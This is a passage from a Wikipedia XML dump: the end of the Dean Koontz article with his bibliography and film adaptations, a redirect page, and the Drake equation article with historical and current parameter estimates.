Koontz also has a very interesting way of adding his own little quirks to his novels, such as adding simple quotes from a book by the name of ''[[Book of Counted Sorrows|The Book of Counted Sorrows]]''. ''Counted Sorrows'' was originally a hoax, like the nonexistent ''Keener's Manual'' [[Richard Condon]] cited for epigraphs he wrote himself. Eventually Koontz put together a [[poetry]] collection of that name, using all the epigraphs; it was printed as a limited edition in 2003 by [http://www.charnelhouse.com/sorrows.html Charnel House] and as an eBook by Barnes &amp; Noble. His more recent novels, starting with ''The Taking'', have no verse by Koontz; rather, they have quotes by other authors (in particular, ''The Taking'' uses quotes from [[T. S. Eliot]], whose works figure in the plot of the novel).

Koontz has long been a fan of [[Art Bell]]'s radio program, [[Coast to Coast AM]]. He appeared as a guest after a fan reported to Bell that one of Koontz's novels featured a character describing a [[paranormal]] event as an &quot;Art Bell moment.&quot;

Koontz currently resides in [[Newport Beach, California|Newport Beach]], a city in [[Southern California]] (as such, most of his novels are set in Southern California) with his wife Gerda and their dog '''Trixie Koontz''', under whose name he published the book, ''[[Life is Good: Lessons in Joyful Living]]'', in 2004.  Trixie is also often referenced in his official newsletter &quot;Useless News&quot;.

Dogs often figure heavily in Koontz's novels, as he is an avid dog lover.  ''Watchers'', ''Dark Rivers of the Heart'', and ''One Door Away from Heaven'' are prime examples. However, lately he has seen fit to include cats as characters, most notably the smart cat Mungojerrie in the Christopher Snow novels.

At the end of books, Koontz includes in his ABOUT THE AUTHOR page his mailing address:
   Dean Koontz
   P.O.Box 9529
   Newport Beach, CA 92658
==Bibliography==

===Novels===
*''[[Dean Koontz's Frankenstein]], Book Three'' (Summer 2006)
*''[[The Husband]]'' ([[May 30]] [[2006]])
*''[[Forever Odd]]'' ([[November 29]] [[2005]])
*''[[Dean Koontz's Frankenstein]], Book Two: City of Night'' w/ [[Ed Gorman]] ([[July 26]] [[2005]])
*''[[Velocity (novel)|Velocity]]'' ([[May 24]] [[2005]])
*''[[Dean Koontz's Frankenstein]], Book One: Prodigal Son'' w/ [[Kevin J. Anderson]] ([[January 25]] [[2005]])
*''[[Life Expectancy (novel)|Life Expectancy]]'' ([[December 7]] [[2004]])
*''[[The Taking]]'' ([[May 25]] [[2004]])
*''[[Odd Thomas]]'' ([[December 9]] [[2003]])
*''[[The Face (novel)|The Face]] ([[May 27]] [[2003]])
*''[[The Book of Counted Sorrows]]'' (2003)
*''[[By the Light of the Moon]]'' ([[December 24]] [[2002]])
*''[[One Door Away from Heaven]]'' (US [[December 26]] [[2001]])
*''[[From the Corner of His Eye]]'' ([[December 26]] [[2000]])
*''[[False Memory (novel)|False Memory]]'' ([[December 28]] [[1999]])
*''[[Seize the Night]]'' ([[December 29]] [[1998]])
*''[[Fear Nothing]]'' ([[January 14]] [[1998]])
*''[[Sole Survivor]]'' ([[January 29]] [[1997]])
*''[[Demon Seed]] (revised edition) (July, 1997)
*''[[Tick-Tock]]'' ([[October 1]] [[1996]])
*''[[Intensity]]'' (1996)
*''[[Dark Rivers of the Heart]]'' (1994)
*''[[The Door to December]]'' (1994)
*''[[Dragon Tears]]'' (1993)
*''[[Mr. Murder]]'' (1993)
*''[[Trapped]]'' (1993, Graphic Novel)
*''[[The Funhouse]]'' (1992)
*''[[Hideaway]]'' (1992)
*''[[Cold Fire]]'' (1991)
*''[[The Bad Place]]'' (1990)
*''[[Shadowfires]]'' (1990)
*''[[The Eyes of Darkness]]'' (1989)
*''[[Midnight]]'' (1989)
*''[[Lightning]]'' (1988)
*''[[The Servants of Twilight]]'' (1988, as Leigh Nichols)
*''[[The Voice of the Night]]'' (1988)
*''[[Shadowfires]]'' (1987, as Leigh Nichols)
*''[[Watchers]]'' (1987)
*''[[Strangers]]'' (1986)
*''[[The Door to December]]'' (1985, as Richard Paige)
*''[[Twilight Eyes]]'' (1985)
*''[[Darkfall]]'' (1984)
*''[[Twilight]]'' (1984, as Leigh Nichols)
*''[[Phantoms (novel)|Phantoms]]'' (1983)
*''[[The House of Thunder]]'' (1982, as Leigh Nichols)
*''[[The Eyes of Darkness]]'' (1981, as Leigh Nichols)
*''[[The Mask]]'' (1981, as Owen West)
*''[[The Funhouse]]'' (1980, as Owen West)
*''[[The Voice of Night]]'' (1980, as Brian Coffey)
*''[[Whispers]]'' (1980)
*''[[The Key to Midnight]]'' (1979, as Leigh Nichols)
*''[[The Face of Fear]]'' (1977, as Brian Coffey)
*''[[The Vision]]'' (1977)
*''[[Night Chills]]'' (1976)
*''[[Prison of Ice]]'' (1976, as David Axton), reissued as Icebound (1995) 
*''[[Dragonfly]]'' (1975, as K. R. Dwyer)
*''[[Invasion]]'' (1975, as Aaron Wolfe), reissued as Winter Moon (1994)
*''[[The Long Sleep]]'' (1975, as John Hill)
*''[[Nightmare Journey]]'' (1975)
*''[[Wall of Masks]]'' (1975, as Brian Coffey)
*''[[After the Last Race]]'' (1974)
*''[[Surrounded]]'' (1974, as Brian Coffey)
*''[[Blood Risk]]'' (1973, as Brian Coffey)
*''[[Dance with the Devil]]'' (1973, as Deanna Dwyer)
*''[[Demon Seed]]'' (1973)
*''[[Hanging On]]'' (1973)
*''[[The Haunted Earth]]'' (1973)
*''[[Shattered]]'' (1973, as K. R. Dwyer)
*''[[A Werewolf Among Us]]'' (1973)
*''[[Chase]]'' (1972, as K. R. Dwyer)
*''[[Children of the Storm]]'' (1972, as Deanna Dwyer)
*''[[The Dark of Summer]]'' (1972, as Deanna Dwyer)
*''[[A Darkness in My Soul]]'' (1972)
*''[[Demon Child]]'' (1972, as Deanna Dwyer)
*''[[The Flesh in the Furnace]]'' (1972)
*''[[Starblood]]'' (1972)
*''[[Time Thieves]]'' (1972)
*''[[Warlock!]]'' (1972)
*''[[The Crimson Witch]]'' (1971)
*''[[Legacy of Terror]]'' (1971, as Deanna Dwyer)
*''[[Anti-Man]]'' (1970)
*''[[Beastchild]]'' (1970)
*''[[Dark of the Woods]]'' (1970)
*''[[Dark Symphony]]'' (1970)
*''[[Hell's Gate]]'' (1970)
*''[[The Fall of the Dream Machine]]'' (1969)
*''[[Fear That Man]]'' (1969)
*''[[Star Quest]]'' (1968)

===Children's books===
*''Robot Santa: The Further Adventures of Santa's Twin'' ([[October 1]] [[2004]])
*''Every Day's a Holiday : Amusing Rhymes for Happy Times'' ([[October 1]] [[2003]])
*''The Paper Doorway : Funny Verse and Nothing Worse'' ([[October 1]] [[2001]])
*''Santa's Twin'' ([[November 1]] [[1996]])
*''Oddkins: A Fable for All Ages'' (1988)

===Non-fiction===
*''Christmas Is Good!: Trixie Treats And Holiday Wisdom''  w/ Trixie Koontz ([[October 31]] [[2005]])
*''Life is Good! Lessons in Joyful Living'' w/ Trixie Koontz ([[October 31]] [[2004]])
*''How To Write Best-Selling Fiction'' (1981)
*''Writing Popular Fiction'' (1972)
*''The Pig Society'' w/ Gerda Koontz (1970)
*''The Underground Lifestyles Handbook'' w/ Gerda Koontz (1970)

===Essays and introductions (incomplete)===
*Foreword to ''Love Heels: Tales from Canine Companions for Independence'' ([[October 1]] [[2003]])
*Introduction to ''Great Escapes: New Designs for Home Theaters'' by Theo Kalomirakis ([[October 15]] [[2003]])
*&quot;Ibsen's Dream&quot; (Reflector, 1966)
*&quot;Of Childhood&quot; (Reflector, 1966)

===Collections===
*''Strange Highways'' (1994, short story collection) {reissued in September 2002}

===Short fiction===
*&quot;Black River&quot; (1999)
*&quot;Pinkie&quot; (1998)
*&quot;Trapped&quot; (1989) {re-issued as a graphic novel in 1992}
*&quot;Graveyard Highway&quot; (1987)
*&quot;Twilight of the Dawn&quot; (1987)
*&quot;Miss Atilla the Hun&quot; (1987)
*&quot;Hardshell&quot; (1987)
*&quot;The Interrogation&quot; (1987)
*&quot;The Black Pumpkin&quot; (1986)
*&quot;The Monitors of Providence {collaboration}&quot; (1986)
*&quot;Snatcher&quot; (1986)
*&quot;Weird World&quot; (1986)
*&quot;Down in the Darkness&quot; (1986)
*&quot;Night of the Storm&quot; (1974) {re-issued as a graphic novel in 1976}
*&quot;We Three&quot; (1974)
*&quot;The Undercity&quot; (1973)
*&quot;Terra Phobia&quot; (1973)
*&quot;Wake Up To Thunder&quot; (1973)
*&quot;The Sinless Child&quot; (1973)
*&quot;Grayworld&quot; (1973)
*&quot;A Mouse in the Walls of the Global Village&quot; (1972)
*&quot;Ollie's Hands&quot; (1972) {revised and re-issued in 1987}
*&quot;Altarboy&quot; (1972)
*&quot;Cosmic Sin&quot; (1972)
*&quot;The Terrible Weapon&quot; (1972)
*&quot;Bruno&quot; (1971)
*&quot;Unseen Warriors&quot; (1970)
*&quot;Shambolain&quot; (1970)
*&quot;The Crimson Witch&quot; (1970)
*&quot;Beastchild&quot; (1970)
*&quot;Emanations&quot; (1970)
*&quot;The Mystery of His Flesh&quot; (1970)
*&quot;The Good Ship Lookoutworld&quot; (1970)
*&quot;Nightmare Gang&quot; (1970)
*&quot;A Third Hand&quot; (1970)
*&quot;Muse&quot; (1969)
*&quot;The Face in His Belly&quot; Part Two&quot; (1969)
*&quot;Dragon In the Land&quot; (1969)
*&quot;The Face in His Belly&quot; Part One (1969)
*&quot;Where the Beast Runs&quot; (1969)
*&quot;Killerbot&quot; (1969) {revised and re-issued in 1977 as &quot;A Season for Freedom&quot;}
*&quot;Temple of Sorrow&quot; (1969)
*&quot;In the Shield&quot; (1969)
*&quot;Dreambird&quot; (1968)
*&quot;The Twelfth Bed&quot; (1968)
*&quot;The Psychedelic Children&quot; (1968)
*&quot;To Behold the Sun&quot; (1967)
*&quot;Love 2005&quot; (1967)
*&quot;Soft Come the Dragons&quot; (1967)
*&quot;A Miracle is Anything&quot; (1966)
*&quot;Some Disputed Barricade&quot; (1966)
*&quot;This Fence&quot; (1965)
*&quot;The Kittens&quot; (1965)

===Poetry===

====''Every Day's a Holiday: Amusing Rhymes for Happy Times'' (2003)====

*&quot;Holiday Gifts&quot;
*&quot;Stop The World! It's Your Birthday!&quot;
*&quot;Holiday Data Glitch&quot;
*&quot;New Year's Eve&quot;
*&quot;New Year's Day&quot;
*&quot;Appropriate Holiday Entertainment&quot;
*&quot;Carnival!&quot;
*&quot;Gravity Day&quot;
*&quot;Martin Luther King, Jr. Day&quot;
*&quot;Snow Day&quot;
*&quot;Valentine's Day&quot;
*&quot;Abraham Lincoln's Birthday&quot;
*&quot;George Washington's Birthday&quot;
*&quot;Saint Patrick's Day&quot;
*&quot;The First Day of Spring&quot;
*&quot;Every Day's A Holiday&quot;
*&quot;Easter: The Danger of Improving Holiday Traditions&quot;
*&quot;April Fool's Day&quot;
*&quot;Sakura Matsuki (Cherry Blossom Festival)&quot;
*&quot;Dino Day&quot;
*&quot;Cinco de Mayo&quot;
*&quot;Teacher's Day&quot;
*&quot;Annual Animals' Day in Court&quot;
*&quot;Mother's Day Is Every Day, Thanks to Us&quot;
*&quot;Cat Day&quot;
*&quot;Memorial Day&quot;
*&quot;Things That Can Spoil a Good Holiday&quot;
*&quot;Father's Day&quot;
*&quot;The Eighteen Acceptable Excuses Not to Celebrate a Holiday&quot;
*&quot;Toad Day&quot;
*&quot;The Last Day of School, the Saddest Day of the Year&quot;
*&quot;Graduation Day&quot;
*&quot;The First Day of Summer&quot;
*&quot;Me Day&quot;
*&quot;Independence Day: Free to Be Ignorant Old Me&quot;
*&quot;Dog Day&quot;
*&quot;Friendship Day&quot;
*&quot;Holidays on Other Planets&quot;
*&quot;Labor Day&quot;
*&quot;Grandfather's Day&quot;
*&quot;Grandma's Day or Why One Day There Will Be Good Cookies on the Moon&quot;
*&quot;The First Day of Autumn&quot;
*&quot;Lost-Tooth Day&quot;
*&quot;Rosh Hashanah&quot;
*&quot;Troll Day, Whether You Like IT of Not&quot;
*&quot;Yom Kippur&quot;
*&quot;Holiday Dinner&quot;
*&quot;Columbus Day&quot;
*&quot;How to Get to Sleep Before a Holiday&quot;
*&quot;Mr. Halloween&quot;
*&quot;What Should Go into a Holiday Pie&quot;
*&quot;Día de los Muertos&quot;
*&quot;Praise the Chicken Day - or Else&quot;
*&quot;Diwali by Golly&quot;
*&quot;National Book Week: Why Paper Tigers Are the Preferred Breed&quot;
*&quot;Holiday, Holinight&quot;
*&quot;Thanksgiving Turkey Dresses in Hand-Me-Downs&quot;
*&quot;The First Day of Winter&quot;
*&quot;The Shortest Day of the Year&quot;
*&quot;Christmas Eve&quot;
*&quot;Christmas Day&quot;
*&quot;Up-Is-Down Day&quot;
*&quot;Kwanzaa&quot;
*&quot;Not the Stuff of Holidays&quot;

====''The Paper Doorway: Funny Verse and Nothing Worse'' (2001)====

*&quot;A Bad Cat&quot;
*&quot;A Beverage with Antlers&quot;
*&quot;A Cure for Ugly&quot;
*&quot;A Long Day of Rhyming&quot;
*&quot;A Short Trip&quot;
*&quot;A Skeleton's Hotel&quot;
*&quot;A Strange Day on the Farm&quot;
*&quot;Advice&quot;
*&quot;Ages of a Toad&quot;
*&quot;All Families Are Not the Same&quot;
*&quot;An Accident at the Pole&quot;
*&quot;An Angry Poem by a Dragon's Mother&quot;
*&quot;An Interesting Fact About Dogs&quot;
*&quot;At War with Wood&quot;
*&quot;Auntie&quot;
*&quot;Balance&quot;
*&quot;Baseball is Safer&quot;
*&quot;Being Me&quot;
*&quot;Better Than Money&quot;
*&quot;Boogeyman&quot;
*&quot;Cats in Spats&quot;
*&quot;Crime and Punishment&quot;
*&quot;Dangerous Music&quot;
*&quot;Dinner with Jilly&quot;
*&quot;Do Trees Sneeze?&quot;
*&quot;Dogs and Hogs&quot;
*&quot;Fashion-Plate Fido&quot;
*&quot;Food Psychos&quot;
*&quot;Frankenbunny&quot;
*&quot;Handyman&quot;
*&quot;Head Number Two&quot;
*&quot;Horse Thief&quot;
*&quot;I Don't Share&quot;
*&quot;If I Were a Potato&quot;
*&quot;Insults&quot;
*&quot;Listen to the Wind&quot;
*&quot;Lucky Skunk&quot;
*&quot;Mary Thinks She Wants a Puppy&quot;
*&quot;My Words&quot;
*&quot;Peace Through Hopping&quot;
*&quot;Peg-Leg Zeg&quot;
*&quot;Plurals&quot;
*&quot;Poem by My Dog&quot;
*&quot;Princess with a Tail&quot;
*&quot;Rain&quot;
*&quot;Red Hair&quot;
*&quot;Rocks&quot;
*&quot;Rumor&quot;
*&quot;Safe Household Accidents&quot;
*&quot;Sick&quot;
*&quot;Silly&quot;
*&quot;Snowland&quot;
*&quot;So There&quot;
*&quot;Stars, Mars, and Chocolate Bars&quot;
*&quot;The Bear with One Green Ear&quot;
*&quot;The Cabbage Feels No Pain&quot;
*&quot;The Fearful Bee&quot;
*&quot;The Man With Four Eyes&quot;
*&quot;The Monstrous Broccoli Excuse&quot;
*&quot;The Paper Doorway&quot;
*&quot;The Pig with Pride&quot;
*&quot;The Prettiest Butterfly I Will Ever See&quot;
*&quot;The Reliable Bunny&quot;
*&quot;The Seasons of a Toad&quot;
*&quot;The Shark in the Park&quot;
*&quot;The Threat&quot;
*&quot;The Wart&quot;
*&quot;The Woggle Wrangler&quot;
*&quot;The Young Musician - Or Maybe Thug&quot;
*&quot;Them and Us&quot;
*&quot;Thinking About Me&quot;
*&quot;Those Weird Guys in Nursery Rhymes&quot;
*&quot;Toast and Jam&quot;
*&quot;Up&quot;
*&quot;Wally the Werewolf&quot;
*&quot;What I Like&quot;
*&quot;What Will We Do, What Will We Do?&quot;
*&quot;Why Good Manners Matter&quot;
*&quot;Why I Find It So Hard to Learn&quot;
*&quot;Why Most People Prefer Cats and Dogs&quot;
*&quot;Why?&quot;
*&quot;Wishes&quot;
*&quot;You Get the Pickle You Ask For&quot;

====''The Reflector'' (1965-67)====
*&quot;The Day&quot;
*&quot;Growing Pains&quot;
*&quot;Sing A Song Of Sixpence&quot;
*&quot;This Fence&quot;
*&quot;Cellars&quot;
*&quot;Cloistered Walls&quot;
*&quot;Flesh&quot;
*&quot;For A Breath I Tarry&quot;
*&quot;Hey, Good Christian&quot;
*&quot;Holes&quot;
*&quot;It&quot;
*&quot;I've Met One&quot;
*&quot;Mold In The Jungle&quot;
*&quot;Once&quot;
*&quot;The Rats Run&quot;
*&quot;Sam: the Adventurous, Exciting, Well-Traveled Man&quot;
*&quot;Something About This City&quot;
*&quot;The Standard Unusual&quot;
*&quot;A Trio Of Possible Futures&quot;
*&quot;You Dirty Jap, Said The Jap&quot;
*&quot;Where No One Fell&quot;

===Screenplays===
*''[[Koontz's Frankenstein|Dean Koontz's Frankenstein]]'' (2005 - [http://www.charnelhouse.com/frankenstein.html Charnel House 2006])
*''The Bad Place''

===Film and television adaptations===

Not all of these films are approved of by Mr. Koontz. Specifically ''Watchers II'', ''Watchers III'', ''Watchers Reborn'', Frankenstein and [http://www.newscoast.com/apps/pbcs.dll/article?AID=/20050603/COLUMNIST49/506030658 ''Haute Tension'']. For most of the rest of them, he's just not happy with the result.

*''Frankenstein'' (2004) - USA
*''[[Haute Tension]] / [[High Tension]] / [[Switchblade Romance]]'' (2003)
*''[[Black River]]'' (2001) - USA
*''[[Sole Survivor]]'' (2000) – Billy Zane
*''[[Phantoms (movie)|Phantoms]]'' (1998) – Dimension – Ben Affleck, Peter O'Toole
*''[[Watchers Reborn]]'' (1998) – New Horizon – Mark Hamill, Lisa Wilcox
*''[[Mr. Murder]]'' (1998) – ABC – Stephen Baldwin, James Colburn
*''Intensity'' (1997) – ABC – John McGinley, Piper Laurie
*''[[Hideaway]]'' (1995) – Tristar – Jeff Goldbloom, Christine Lahti
*''[[Watchers III]]'' (1994) – New Horizons – Wings Hauser, Lolita Ronalos
*''[[The Servants of Twilight]]'' (1992) – Trimark – Bruce Greenwood, Belinda Bauer
*''[[The Face of Fear]]'' (1990) – CBS – Pam Dawber, Lee Horsley
*''[[Whispers]]'' (1990) Cinepix – Victoria Tennant, Jean LeClere
*''[[Watchers II]]'' (1990) Concord – Marc Singer, Tracy Scroggins
*''[[Watchers (1988 film)|Watchers]]'' (1988) – Concord - [[Corey Haim]], [[Barbara Williams]]
*''[[The Funhouse]]'' (1981) [Movie first then book – Movie written by Larry Block] Universal – Elizabeth Berridge, Cooper Huckabee
*''[[The Intruder]]'' (circa 1979) - MGM - Jean-Louis Trintignant'' (French film of Shattered)
*''[[Demon Seed]]'' (1977) - MGM - Julie Christie, Fritz Weaver
*''CHiPs episode 306: Counterfeit'' ([[20 October]] [[1979]]) – as by Brian Coffey

===Books about Dean Koontz===
*''A Collector's Guide to Dean Koontz'' by [[User:Msauers|Michael Sauers]] (2006)
*''Dean Koontz: A Reader's Checklist and Reference Guide'' ([[October 1]] [[1999]])
*''Dean Koontz: A Writer's Biography'' by Katherine Ramsland ([[August 1]] [[1998]])
*''Dean Koontz: A Critical Companion'' by Joan G. Kotker ([[August 30]] [[1996]])
*''The Dean Koontz Companion'' by Martin H. Greenberg, [[Ed Gorman]], Bill Munster ([[March 1]] [[1994]])
*''Sudden Fear: The Horror and Dark Suspense Fiction of Dean R. Koontz'' (Starmont Studies in Literary Criticism, # 24) by Bill Munster ([[June 1]] [[1988]])

===Common collecting errors===
These titles/authors are ''not'' Mr. Koontz:
*''Heartbeeps'' by John Hill
*''Stolen Thunder'' and ''Sharkman Six'' by David Axton
* anything by Owen Brookes
* anything by Frank Coffey
* anything by the Irish poet Brian Coffey

==External links==
{{wikiquote}}
*Koontz, Dean (2005). [http://www.randomhouse.com/bantamdell/koontz/ Dean Koontz - The Official Website]. Retrieved [[June 25]] [[2005]].
*[http://cemeterydance.com/cgi-bin/miva?Merchant2/merchant.mv+Screen=CTGY&amp;Store_Code=CDP&amp;Category_Code=KOONTZ Cemetery Dance], Publisher of many Dean Koontz limited editions. Retrieved [[June 28]] [[2005]].
*Charnel House (2005). [http://www.charnelhouse.com/sorrows.html The Book of Counted Sorrows]. Retrieved [[June 25]] [[2005]].
*[http://www.google.com/search?hl=en&amp;lr=&amp;q=%22Dean+Koontz%22+site%3Aworldcatlibraries.org Find books by Dean Koontz in your local library]. Retrieved [[June 28]] [[2005]].
*Bellais, Sophie; Travers, Olivier  (2004). [http://scifan.com/writers/kk/KoontzRDean.asp Dean R. Koontz (1945 - , United States)]. Retrieved [[June 25]] [[2005]].
* [[Internet Speculative Fiction Database]] (2005). [http://www.isfdb.org/cgi-bin/ea.cgi?Dean_R._Koontz Dean R. Koontz - Summary Bibliography (Long Works)]. Retrieved [[June 25]] [[2005]].
*[http://www.boekensite.net/boeken/koontz_dean.html Dutch bibliography] from Eric Boeken. Retrieved [[June 28]] [[2005]].

*[http://www.theadvocates.org/celebrities/dean-koontz.html Dean Koontz - Friend of Liberty] article by Bill Winter. 

[[Category:1945 births|Koontz, Dean R.]]
[[Category:Living people|Koontz, Dean R.]]	 
[[Category:American horror writers|Koontz, Dean R.]]
[[Category:Science fiction writers|Koontz, Dean R.]]
[[Category:California writers|Koontz, Dean R.]]

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  <page>
    <title>Discriminatory</title>
    <id>8911</id>
    <revision>
      <id>15906845</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>Damian Yerrick</username>
        <id>1</id>
      </contributor>
      <minor />
      <comment>make it a redirect so it'll fall off special:lonelyPages</comment>
      <text xml:space="preserve">#REDIRECT [[Discrimination]]
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    </revision>
  </page>
  <page>
    <title>Drake equation</title>
    <id>8912</id>
    <revision>
      <id>41418767</id>
      <timestamp>2006-02-27T04:49:18Z</timestamp>
      <contributor>
        <username>The-dissonance-reports</username>
        <id>665009</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">The '''Drake equation''' (also known as the '''Green Bank equation''' or the '''Sagan equation''') is a famous result in the speculative fields of [[xenobiology]], [[astrosociobiology]] and the [[SETI|search for extraterrestrial intelligence]].

This equation was devised by Dr. [[Frank Drake]] in the [[1960s]] in an attempt to estimate the number of [[extraterrestrial]] civilizations in our galaxy with which we might come in contact. The main purpose of the equation is to allow scientists to quantify the uncertainty of the factors which determine the number of extraterrestrial civilizations.

The Drake equation is closely related to the [[Fermi paradox]].  It was cited by [[Gene Roddenberry]] as supporting the multiplicity of starfaring civilizations shown in ''[[Star Trek]],'' the television show he created.

The Drake equation states that:

:&lt;math&gt;N = R^{*} ~ \times ~ f_{p} ~ \times ~ n_{e} ~ \times ~ f_{l} ~ \times ~ f_{i} ~ \times ~ f_{c} ~ \times ~ L&lt;/math&gt;

where:

:'''N''' is the number of [[civilization]]s in our galaxy with which we might expect to be able to communicate

and

:'''R*''' is the rate of [[star]] formation in [[Milky Way|our galaxy]]
:'''f&lt;sub&gt;p&lt;/sub&gt;''' is the fraction of those stars which have [[planet]]s
:'''n&lt;sub&gt;e&lt;/sub&gt;''' is average number of planets which can potentially support [[life]] per star that has planets
:'''f&lt;sub&gt;l&lt;/sub&gt;''' is the fraction of the above which actually go on to develop life 
:'''f&lt;sub&gt;i&lt;/sub&gt;''' is the fraction of the above which actually go on to develop intelligent life
:'''f&lt;sub&gt;c&lt;/sub&gt;''' is the fraction of the above which are willing and able to communicate
:'''L''' is the expected lifetime of such a civilization

==Historical estimates of the Drake equation parameters==
Considerable disagreement on the values of most of these parameters exists, but the values used by Drake and his colleagues in [[1961]] were:
*  R* = 10/year, 
* f&lt;sub&gt;p&lt;/sub&gt; = 0.5, 
* n&lt;sub&gt;e&lt;/sub&gt; = 2, 
* f&lt;sub&gt;l&lt;/sub&gt; = 1, 
* f&lt;sub&gt;i&lt;/sub&gt; = f&lt;sub&gt;c&lt;/sub&gt; = 0.01, 
* and L = 10 years.  

The value of R* is the least disputed. f&lt;sub&gt;p&lt;/sub&gt; is more uncertain, but is still much firmer than the values following. Confidence in n&lt;sub&gt;e&lt;/sub&gt; was once higher, but the discovery of numerous [[gas giant]]s in close orbit with their stars has introduced doubt that life-supporting planets commonly survive the creation of their stellar systems. In addition, most stars in our galaxy are [[red dwarf]]s, which have little of the [[ultraviolet radiation]] that has contributed to the [[evolution]] of life on Earth. Instead they flare violently, mostly in [[X-ray]]s — a property not conducive to life as we know it (simulations also suggest that these bursts erode planetary [[Earth's atmosphere|atmosphere]]s). The possibility of life on [[natural satellite|moons]] of gas giants (e.g. [[Jupiter (planet)|Jupiter's]] satellite [[Europa (moon)|Europa]]) adds further uncertainty to this figure.

Evidence currently available to humanity suggests that f&lt;sub&gt;l&lt;/sub&gt; is very high; life on Earth appears to have begun almost immediately after conditions arrived in which it was possible, suggesting that [[abiogenesis]] is relatively &quot;easy&quot; once conditions are right. But this evidence is limited in scope, and so this term remains in considerable dispute. One piece of data which would have major impact on this term is the controversy over whether there is evidence of life on [[Mars (planet)|Mars]]. The conclusion that life on Mars developed independently from life on Earth would argue for a high value for this term.

f&lt;sub&gt;i&lt;/sub&gt;, f&lt;sub&gt;c&lt;/sub&gt;, and L are obviously little more than guesses.  f&lt;sub&gt;i&lt;/sub&gt; has been affected by discoveries that the solar system's orbit is circular in the galaxy, at such a distance that it remains out of the spiral arms for hundreds of millions of years (evading radiation from [[Nova|novae]]). Also, Earth's very large, unusual moon appears to aid retention of hydrogen by breaking up the crust, inducing a magnetosphere by tidal heating and stirring, and stabilizing the planet's axis of rotation. In addition while it appears that life developed soon after the formation of Earth, the [[Cambrian explosion]] in which a large variety of multicellular life forms came into being occurred considerable amounts of time after the formation of Earth, which suggests the possibility that special conditions were necessary for this to occur. In addition some scenarios such as the [[Snowball Earth]] or research into the [[extinction events]] have raised the possibility that life on Earth is relatively fragile. Again, the controversy over life on Mars is relevant since a discovery that life did form on Mars but ceased to exist would affect estimates of these terms.

The well-known astronomer [[Carl Sagan]] speculated that all of the terms, except for the lifetime of a civilization, are relatively high and the determining factor in whether there are large or small numbers of civilizations in the universe is the civilization lifetime, or in other words, the ability of technological civilizations to avoid self-destruction. In Sagan's case, the Drake equation was a strong motivating factor for his interest in environmental issues and his efforts to warn against the dangers of [[nuclear warfare]].

(Note, however, that in the year [[2001]] a value of 50 for L can be used with exactly the same degree of confidence that Drake had in using 10 in the year 1961.)

The remarkable thing about the Drake equation is that by plugging in apparently fairly plausible values for each of the parameters above, the resultant expectant value of N is generally often &amp;gt;&amp;gt;&amp;nbsp;1. This has provided considerable motivation for the [[SETI]] movement. However, this conflicts with the currently observed value of N = 1 — one observed civilization in the entire galaxy. Other assumptions give values of N that are &amp;lt;&amp;lt;&amp;nbsp;1, in accord with the observable evidence.

This conflict is often called the '''[[Fermi paradox]]''', after [[Enrico Fermi]] who first publicised the subject, and suggests that our understanding of what is a &quot;conservative&quot; value for some of the parameters may be overly optimistic or that some other factor is involved to suppress the development of intelligent space-faring life.

Other assumptions give values of N that are &lt;&lt; 1, but some observers believe this is still compatible with observations due to the [[anthropic principle]]: no matter how low the probability that any given galaxy will have intelligent life in it, the galaxy that we are in ''must'' have at least one intelligent species by definition. There could be hundreds of galaxies in our galactic cluster with no intelligent life whatsoever, but of course we would not be present in those galaxies to observe this fact.

Some computations of the Drake equation, given different assumptions:
:R* = 10/year, f&lt;sub&gt;p&lt;/sub&gt; = 0.5, n&lt;sub&gt;e&lt;/sub&gt; = 2, f&lt;sub&gt;l&lt;/sub&gt; = 1, f&lt;sub&gt;i&lt;/sub&gt; = f&lt;sub&gt;c&lt;/sub&gt; = 0.01, and L = 50 years
:N = 10 &amp;times; 0.5 &amp;times; 2 &amp;times; 1 &amp;times; 0.01 &amp;times; 0.01 &amp;times;  50 = 0.05

Alternatively, making some more optimistic assumptions, and assuming that 10% of civilizations become willing and able to communicate, and then spread through their local star systems for 100,000 years (a very short period in geologic time):

:R* = 20/year, f&lt;sub&gt;p&lt;/sub&gt; = 0.1, n&lt;sub&gt;e&lt;/sub&gt; = 0.5, f&lt;sub&gt;l&lt;/sub&gt; = 1, f&lt;sub&gt;i&lt;/sub&gt; = 0.5, f&lt;sub&gt;c&lt;/sub&gt; = 0.1, and L = 100,000 years
:N = 20 &amp;times; 0.1 &amp;times; 0.5 &amp;times; 1 &amp;times; 0.5 &amp;times; 0.1 &amp;times; 100000 = 5000

== Current estimates of the Drake equation parameters ==

This section attempts to list best current estimates for the parameters of the Drake equation. 
&lt;!-- Please list new estimates for these values here, giving the rationale behind the estimate and a citation to their source. --&gt;

''R*'' = the rate of star creation in our galaxy

:Estimated by Drake as 10/year. Latest calculations from NASA and the European Space Agency indicates that the current rate of star formation in our galaxy is about 6 per year. The Planck Institute for Extraterrestrial Physics in Germany notes, however, that our galaxy is not the biggest producer of stars and supernovae in the universe. [http://news.yahoo.com/s/space/20060106/sc_space/halfadozenstarsborninmilkywayeveryyear]

''f&lt;sub&gt;p&lt;/sub&gt;'' = the fraction of those stars which have planets 

:Estimated by Drake as 0.5.

''n&lt;sub&gt;e&lt;/sub&gt;'' = the average number of planets (or rather satelites; moons may perhaps sometimes be just as good candidates) which can potentially support life per star that has planets

:Estimated by Drake as 2.

''f&lt;sub&gt;l&lt;/sub&gt;'' = the fraction of the above which actually go on to develop life

:Estimated by Drake as 1.

:In 2002, Charles H. Lineweaver and Tamara M. Davis (at the [[University of New South Wales]] and the Australian Centre for Astrobiology) estimated f&lt;sub&gt;l&lt;/sub&gt; as &amp;gt; 0.33 using a statistical argument based on the length of time life took to evolve on Earth. Lineweaver has also determined that about 10% of star systems in the Galaxy are hospitable to life, by having heavy elements, being far from supernovae and being stable themselves for sufficient time. [http://www.newscientist.com/news/news.jsp?id=ns99994525]

''f&lt;sub&gt;i&lt;/sub&gt;'' = the fraction of the above which actually go on to develop intelligent life

:Estimated by Drake as 0.01. 

:Some estimate that solar systems in galactic orbits with radiation exposure as low as Earth's solar system may be more than 100,000 times rarer, however, giving a value of f&lt;sub&gt;i&lt;/sub&gt; = 1&amp;times;10&lt;sup&gt;-7&lt;/sup&gt;.

''f&lt;sub&gt;c&lt;/sub&gt;'' = the fraction of the above which are willing and able to communicate

:Estimated by Drake as 0.01.

''L'' = the expected lifetime of such a civilization 

:Estimated by Drake as 10 years.

